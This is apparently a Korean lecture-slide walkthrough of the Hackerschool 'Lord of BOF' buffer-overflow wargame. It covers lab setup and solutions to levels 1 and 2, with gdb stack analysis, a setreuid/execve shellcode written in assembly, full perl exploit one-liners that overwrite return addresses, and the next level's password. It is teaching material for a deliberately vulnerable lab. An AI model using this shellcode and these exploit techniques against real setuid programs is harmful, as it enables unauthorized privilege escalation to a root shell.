BoF 원정대서비스
목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2
LOB 란? 해커스쿨에서제공하는 Buffer Overflow 공격문제 총 20 문제 문제의형태 seteuid 가걸려있는파일과.c 소스를이용해취약점을찾고, 그취약점을이용한 exploit 을통해권한상승후 /bin/my-pass 의 password 를획득하는문제이다. 3
환경구성 vmplayer 설치 http://www.vmware.com/products/player/playerpro-evaluation.html 4
환경구성 LOB vmx 파일다운로드 http://hackerschool.org/thelordofbof/thelordofthebof_redhat_bootable.zip https://drive.google.com/file/d/0b_tncsczwm6tszbidvhctvfrmms/view 5
환경구성 putty 다운로드 http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html 6
설치방법 vmplayer 를실행한후에 vmx 파일을열어준다. 7
실행방법 I copied를클릭 id: gate / pw : gate 입력 쉘에서 /sbin/ifconfig 입력 putty에 ip주소를입력하고 Telnet으로접속 (Port 23) gate / gate를입력후문제풀이시작 8
기본적인실행환경셋팅 실행 1 2 3 4 9
기본적인실행환경셋팅 실행화면 login : gate password : gate 10
LEVEL UP CHALLENGE LEVEL 1 & 2 11
Levels LEVEL1 (gate -> gremlin) : simple bof LEVEL2 (gremlin -> cobolt) : small buffer LEVEL3 (cobolt -> goblin) : small buffer + stdin LEVEL4 (goblin -> orc) : egghunter LEVEL5 (orc -> wolfman) : egghunter + bufferhunter LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter LEVEL7 (darkelf -> orge) : check argv[0] LEVEL8 (orge -> troll) : check argc LEVEL9 (troll -> vampire) : check 0xbfff LEVEL10 (vampire -> skeleton) : argv hunter LEVEL11 (skeleton -> golem) : stack destroyer LEVEL12 (golem -> darkknight) : sfp LEVEL13 (darkknight -> bugbear) : RTL1 LEVEL14 (bugbear -> giant) : RTL2, only execve LEVEL15 (giant -> assassin) : no stack, no RTL LEVEL16 (assassin -> zombie_assassin) : fake ebp LEVEL17 (zombie_assassin -> succubus) : function calls LEVEL18 (succubus -> nightmare) : plt LEVEL19 (nightmare -> xavis) : fgets + destroyers LEVEL20 (xavis -> death_knight) : remote BOF 12
풀이방법.c 소스파일을 /tmp/ 경로로복사한후, gcc g 옵션을통해 gdb 를사용가능하게컴파일해준다. gdb 를이용하여 breakpoint 를설정해주면서테스트를진행한다. 13
1 번문제풀이 파일확인 소스코드 gremlin.c, 실행파일 gremlin 존재 HINT gremlin.c는소유자가 gate로되어있음 gremli은소유자가 gremlin으로되어있고, setuid가설정되어있음 gremlin.c의소스코드상의취약점을찾고, 이취약점을이용하여 gremlin 권한을획득하여야함 14
1 번문제풀이 소스코드확인 (gremlin.c) // 256 byte 버퍼생성 // 인자값을 buffer 에복사 // buffer 내용출력 주석을확인하면 BoF 와관련됨을확인 strcpy() 함수의취약점을이용하는문제 strcpy 는복사하려는 Data 의크기를체크하지않는문제를내포하고있음 15
1 번문제풀이 취약점원리 (strcpy() 의취약성 ) - 정상 char buffer[256] data srtcpy(buffer, data) data strcpy(buffer, data) : buffer 에 data 가복사됨 16
1 번문제풀이 취약점원리 (strcpy() 의취약성 ) - 취약 char buffer[256] data srtcpy(buffer, data) data strcpy() 는 data 의크기를체크하지않기때문에, buffer 가설정한영역외에다른영역도 data 의내용으로채울수있음 17
1 번문제풀이 문제해결개요 (1/3) 디버깅과정 argc 디버깅으로스택구조를알아야함 RET previous sfp 프로그램실행 (./gremlin arg) char buffer[256] strcpy(buffer, arg) buffer 주소, sfp 주소, RET 주소를디버깅을통해서알아냄 18
1 번문제풀이 문제해결개요 (1/3) 디버깅과정 파일을 /tmp 에복사 bash2 실행 / 컴파일 / gdb 동작 19
1 번문제풀이 문제해결개요 (1/3) 디버깅과정 disassemble main (gdb) disas main ret(4byte) sfp(4byte) buffer[255] buffer[0] 20
1 번문제풀이 문제해결개요 (1/3) 디버깅과정 disassemble main (gdb) disas main break point 설정 / $esp 출력으로 buffer 주소확인 : 0x0xbffff968 21
1 번문제풀이 문제해결개요 (2/3) strcpy 취약성이용 RET dummy 프로그램실행 (./gremlin arg) char buffer[256] payload strcpy(buffer, arg) buffer~ret 까지의스택크기만큼 payload 를 strcpy 를통해서복사 22
1 번문제풀이 문제해결개요 (3/3) payload 구성 / 실행 구성 실행순서 버퍼의주소 dummy 버퍼의주소 dummy 1 1 nop 의임의의지점으로 jmp 2 nop 이기때문에스택의상위로이동 payload shell code payload 3 shell code 3 shell code 실행 nop nop 2 RET address 를버퍼의주소로덮어쓰기 이경우, payload 의최소크기는? bytes 23
1 번문제풀이 문제해결개요 (3/3) payload 구성 / 실행 구성 payload 버퍼의주소 dummy shell code nop payload 시작주소 ~shellcode 시작주소사이 0x90 * 19 쉘코드 41byte 0x90 * 200 쉘코드는인터넷에서획득 or 제작가능 "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\x cd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x 89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90"x19, "\x90\xf9\xff\xbf"'` 24
1 번문제풀이 Shellcode 제작 환경 : LOB 실습이미지 (redhat-6.2, 32bit) 순서 C언어로제작할 shellcode 프로토타입작성 C언어작성 C언어를기반으로함수의사용법확인 ( 해당함수의시스템콜번호확인 ) 어셈블리어코드작성 실행파일생성 objdump를이용해 OP CODE 추출 null문자제거후쉘코드생성및정상작동확인 25
1 번문제풀이 Shellcode 제작 C 언어로제작할 shellcode 프로토타입작성 C 언어작성 C 언어를기반으로함수의사용법확인 <C 언어작성 > 프로그램 uid 권한으로 uid 설정쉘을실행하는프로그램 < 컴파일 / 실행확인 > 26 execve 프로그램실행함수 detail: #include <unistd.h> int execve (const char *filename, char *const argv[], char *const envp[]); 시스템콜번호 : 11 번 setreuid 실제혹은유효사용자 ID 설정 detail: #include <unistd.h> int setreuid(uid_t ruid, uid_t euid); int seteuid(uid_t euid); 시스템콜번호 : 70 번 getreuid 사용자식별자 (identity) 를알아냄 리턴값은현재프로세스의 uid 값 detail: #include <unistd.h> #include <sys/types.h> int getuid(void) intgeteuid(void) 시스템콜번호 : 49 번
1 번문제풀이 Shellcode 제작 어셈블리어코드작성.global_start _start: xor %eax, %eax # eax 레지스터를 0으로초기화 mov $0x31, %eax # 0x31-> geteuid 시스템콜번호 (49) eax에저장 int $0x80 # 인터럽트호출 mov %eax, %ebx # setreuid의첫번째인자값으로 ebx에저장 mov %eax, %ecx # setreuid의두번째인자값으로 ecx에저장 xor %eax, %eax # eax 레지스터초기화 mov $0x46, %eax # 0x46-> setreuid 시스템콜번호 (70) eax에저장 int $0x80 # 인터럽트호출 push $0x0 # NULL(0) 으로문자열의끝표시 push $0x68732f2f # //sh 문자열푸시 # 16진수로바꿔보면 -> 104 115 47 47 -> 아스키코드값으로보면 h s / / # 어셈블리어에서문자열을처리하는단위가 4바이트이기때문에 8바이트로맞추기위해 # //sh 이런식으로표현 push $0x6e69622f # /bin 문자열푸시 # 16진수로바꿔보면 -> 110 105 98 47 -> 아스키코드값으로보면 n i b / mov %esp, %ebx # /bin//sh 의주소를 ebx에저장 (execve 첫번째인자 ) push $0x0 # NULL(0) 으로문자열의끝표시 push %ebx # /bin/sh 의주소를푸시 mov %esp, %ecx # /bin//sh 의주소를 ecx에저장 (execve 두번째인자 ) mov $0x0, %edx # NULL(0) 값을 edx에저장 (execve 세번째인자 ) xor %eax, %eax # eax 레지스터초기화 mov $0xb, %eax # 0xb-> execve 시스템콜번호 (11) eax에저장 int $0x80 # 인터럽트호출 27
1 번문제풀이 Shellcode 제작 실행파일생성 28
1 번문제풀이 Shellcode 제작 objdump 를이용해 OP CODE 추출 기계어코드를그대로사용할경우 \x00 을문자열의끝 (NULL) 로인식하기때문에 \x00 값을지워주어야함 \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc 1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x 68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\ x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0 b\xcd\x80 29
1 번문제풀이 Shellcode 제작 null 문자제거후쉘코드생성및정상작동확인 shellcode 모음사이트 : http://shell-storm.org/shellcode/ 30
1 번문제풀이 문제해결개요 (3/3) payload 구성 / 실행./gremlin `perl -e 'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x8 0", "\x90"x19,"\x90\xf9\xff\xbf"'` 2 번문제 ID : gremlin password : hello bof world 31
1 번문제의특징 ( 과제관련 ) 공격대상프로그램 (gremlin.c) 에버퍼오버플로우취약점을가진 strcpy 가사용됨 실행파일 gremlin 은 setuid 비트가설정되어있고, 누구나실행가능한 permission 을가지고있음 스택에 RET 주소가존재 버퍼가지역변수로선언 ( 버퍼가스택에존재 ) 스택은높은주소에서낮은주소로성장 RET 보다버퍼가낮은주소에위치함 버퍼가넘치면서 RET 주소를변경할수있음 버퍼의크기가 shellcode 를포함할수있을정도로크기가큼 버퍼의주소 ( 또는 shellcode 의주소 ) 를디버깅을통해분석가능 스택에있는 shellcode 가실행가능함 Shellcode 가 41 bytes 라고할경우, 최소 payload 의크기는? 그이유는? 32
기본적인실행환경셋팅 실행화면 login : gremlin password : hello bof world 33
2 번문제풀이 파일확인 소스코드 cobolt.c, 실행파일 cobolt 존재 HINT gremlin.c는소유자가 gremlin로되어있음 cobolt는소유자가 cobolt로되어있고, setuid가설정되어있음 cobolts.c의소스코드상의취약점을찾고, 이취약점을이용하여 cobolt 권한을획득하여야함 34
2 번문제풀이 소스코드확인 (cobolt.c) // 16 byte 버퍼생성 // 인자값을 buffer에복사 // buffer 내용출력 1 번문제와유사 35
2 번문제풀이 문제해결개요 (1/3) 디버깅과정 파일을 /tmp 에복사 컴파일 / gdb 동작 36
2 번문제풀이 문제해결개요 (1/3) 디버깅과정 disassemble main (gdb) disas main argv argc ret sfp buffer 16 byte 37
2 번문제풀이 문제해결개요 (2/3) strcpy 취약성이용 argv argc 프로그램실행 (./cobolt arg1 arg2) RET sfp buffer strcpy(buffer, arg) buffer~argv 까지의스택크기만큼 payload 를 strcpy 를통해서복사 38
2 번문제풀이 문제해결개요 (2/3) strcpy 취약성이용 argv payload argc 프로그램실행 (./cobolt arg1 arg2) RET sfp buffer strcpy(buffer, arg) buffer~argv 까지의스택크기만큼 payload 를 strcpy 를통해서복사 39
2 번문제풀이 문제해결개요 (3/3) payload 구성 / 실행 구성 실행순서 argv argc RET payload shell code nop argc의주소 3 shell code 2 nop argc의주소 1 1 nop 의임의의지점으로 jmp 2 nop 이기때문에스택의상위로이동 3 shell code 실행 sfp buffer dummy dummy 40
2 번문제풀이 문제해결개요 (3/3) payload 구성 / 실행 구성 shellcode nop argc 의주소 쉘코드 41byte 0x90 * 19 argc 주소 ~shellcode 시작주소사이값으로덮어씀 dummy A * 20 본래 RET addr 을 argc 의주소또는 shellcode 주소로대체 쉘코드의시작주소를정확하게알수있으면, 0x90*19 는불필요 이경우, payload 의크기는? 41
2 번문제풀이 문제해결개요 (3/3) ret 주소, argv 주소획득 42
2 번문제풀이 문제해결개요 (3/3) ret 주소, 빈공간획득 ret 주소 : 0xbffffa54 argv[2] : 0xbffffa59 43
2 번문제풀이 문제해결개요 (3/3) payload 구성 / 실행./cobolt `perl -e 'print "A"x20, "\xd8\xfb\xff\xbf"'` `perl -e'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x8 0"'` level 3 id, password 44
2 번문제의특징 /1 번문제와공통점및차이점 ( 과제관련 ) 특징 공격대상프로그램 (cobolt.c) 에버퍼오버플로우취약점을가진 strcpy 가사용됨 실행파일 cobolt 는 setuid 비트가설정되어있고, 누구나실행가능한 permission 을가지고있음 공통점 ( 또는유사점 ) 스택에 RET 주소가존재 버퍼가지역변수로선언 ( 버퍼가스택에존재 ) 스택은높은주소에서낮은주소로성장 RET 보다버퍼가낮은주소에위치함 버퍼가넘치면서 RET 주소를변경할수있음 스택에있는 shellcode 가실행가능함 shellcode 가위치하는주소를분석가능 차이점 버퍼의크기가작아 shellcode 를포함할수없음 shellcode 를버퍼에위치할수없음 shellcode 가 41bytes 라고할경우, 최소 payload 의크기는? 그이유는? 45